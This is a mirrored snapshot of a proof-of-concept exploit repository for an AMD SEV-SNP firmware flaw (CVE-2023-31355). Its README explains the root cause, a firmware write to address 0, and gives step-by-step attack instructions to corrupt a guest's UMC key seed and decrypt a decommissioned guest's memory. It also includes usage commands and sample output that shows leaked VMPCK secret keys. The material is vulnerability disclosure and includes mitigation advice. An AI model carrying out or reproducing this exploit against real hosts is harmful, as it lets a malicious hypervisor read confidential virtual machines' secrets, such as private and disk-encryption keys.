Associated Vulnerability
Title:AMD SEV-SNP 安全漏洞 (CVE-2023-31355)Description:AMD SEV-SNP是美国超威半导体(AMD)公司的一个安全加密虚拟化固件。使用单个密钥来加密系统内存。 AMD SEV-SNP存在安全漏洞,该漏洞源于对写入操作的不当限制导致恶意虚拟机管理程序覆盖客户的UMC种子,从而允许读取客户的内存。
Readme
# SEV Firmware Vulnerability
This repo contains an exploit for a vulnerability in the SEV firmware. The exploit allows decrypting arbitrary memory of an SEV-SNP guest after it's been decommissioned.
Tested on version 1.55.16 (latest as of time of writing).
## Root Cause
[`snp_reclaim_buffer`](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_rmp.c#L877-L902) unconditionally tries to write back RMP changes even when the address isn't covered by the RMP. If `address` is not covered by the RMP, the address for the RMP entry `page_rmp_paddr` is never properly initialized and stays at its initial value of `0`. As a result the firmware tries to write the changes to the RMP entry back to address `0`. This is bad because address `0` is covered by the RMP and shouldn't be written to without more checks. If `address` is outside the RMP covered area, `page_rmp_entry` is never properly initialized and contains garbage memory from the stack. This garbage memory is constant in practice.
There's a [comment](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_rmp.c#L346-L348) warning about exactly this code pattern, which is also why I wouldn't be surprised if I'm not the first one to report this.
`snp_reclaim_buffer` is called with [the address of the status page](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/main.c#L440) of the SEV ring buffers when the hypervisor requests exiting ring buffer mode. This address is [attacker controlled](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_mcmd.c#L1733-L1734). There are [some checks](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_mcmd.c#L1713) for this address, but default pages (i.e. pages outside the RMP covered area) are [explicitly allowed](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_rmp.c#L1104).
## Exploit
We can exploit this write to address `0` by placing a guest context page there. Conveniently the first field of the guest context page is the UMC key seed which is exactly the same size as an RMP entry (both are 16 bytes in size). By tricking the firmware into writing changes back to address `0` we can corrupt the UMC key seed. The uninitialized RMP entry that is written is always the same, so the corrupted UMC key seed will also always be almost the same: The subpage count (9 bits) in the RMP entry is not written, but all other fields are. By repeatedly creating new guest context pages which will have a different random initial subpage counts each time, we can eventually create multiple guests with the same UMC key seed.
To exploit the vulnerability we can execute the following steps:
1. Create a guest context page at address `0` for the victim guest.
2. Use the vulnerability to corrupt the victim guest's UMC key seed.
3. Activate the victim guest context page and launch and run the victim guest.
4. Decomission the victim guest.
5. Create a guest context page at address `0` for the attacker guest.
6. Use the vulnerability to corrupt the attacker guest's UMC key seed. All but 9 bits are guaranteed to match the victim guest.
7. If the attacker guest's UMC key seed matches the victim continue, otherwise go to step 5.
8. Activate the attacker guest context page and launch with the debug flag enabled.
9. Assign the victim guest's memory to the attacker guest.
10. Use the `SNP_DBG_ENCRYPT` command to decrypt the victim guest's memory using the attacker guest's context page. This will succeed because the victim guest and the attacker guest share a UMC key seed.
## Impact
Due to the fact that we can only decrypt memory after the guest has been decommissioned, it's not possible to create counterfeit attestation reports even though we have access to the guest's secrets. We can only create counterfeit attestation reports if the guest has been migrated to another host before decomissioned: In this case the secrets (i.e. VMPCKs) from the decomissioned guest will also work on the new migrated instance.
In practice though, a lot of applications store other sensitive information (i.e. private keys, disk encryption keys) that can be leaked using this exploit.
## Mitigation
The RMP entry should only be written back if the page was not in the default state.
## PoC Usage
1. Change the RMP covered area in the BIOS to 64GiB (0x10000 1-MiB pages). If your system doesn't support that, the Linux patches will have to be adjusted accordingly. The PoC has been tested on a system with 128GiB of memory.
2. Apply the patches in the linux-patches folder to the tip of https://github.com/AMDESE/linux/commits/snp-host-v10. Build, install and boot the kernel.
3. Launch a victim SEV-SNP guest.
4. With the guest still running, get the (encrypted) UMC key seed.
```
root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
118402003190020000d0150701000000
```
5. Stop the victim guest.
6. Inspect the kernel logs to find the location of the secret page created during launch.
```
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
```
7. Reload the `ccp`, `kvm` and `kvm_and` kernel modules:
```
root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
```
The Linux patches seem to mess up the RMP and this reinitializes the RMP.
8. Run the PoC.
```
root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
[11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
Raw page:
000: 0300000000000000110fa0000000000000000000000000000000000082837143
020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 00000000000000000000000082837143
vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200
```
Note that there's nothing special about secret pages, this exploit can also be used to decrypt normal pages. Secret pages are used in the PoC because they have very recognizable content that makes it easy to see that decryption of victim memory has succeeded.
File Snapshot
[4.0K] /data/pocs/d18677b55324601269359ef4bdc4dd7d451297bd
├── [ 13K] Cargo.lock
├── [ 582] Cargo.toml
├── [4.0K] linux-patches
│ ├── [1.2K] 0001-don-t-fail-if-some-memory-isn-t-covered-by-the-RMP.patch
│ ├── [ 992] 0002-don-t-mark-0-as-hypervisor-fixed.patch
│ ├── [1.0K] 0003-always-use-address-0-for-guest-context-pages.patch
│ ├── [2.0K] 0004-add-definitions-for-the-ring-buffer-command.patch
│ ├── [3.1K] 0005-implement-attack-code.patch
│ ├── [1.1K] 0006-log-leak-locations-of-secret-pages.patch
│ └── [2.8K] 0007-add-ioctl-for-decrypting-pfns.patch
├── [ 16K] README.md
└── [4.0K] src
├── [ 12K] kvm.rs
├── [3.8K] main.rs
├── [4.0K] snp_types
│ ├── [2.1K] guest_policy.rs
│ └── [1.2K] secrets.rs
└── [ 937] snp_types.rs
3 directories, 15 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.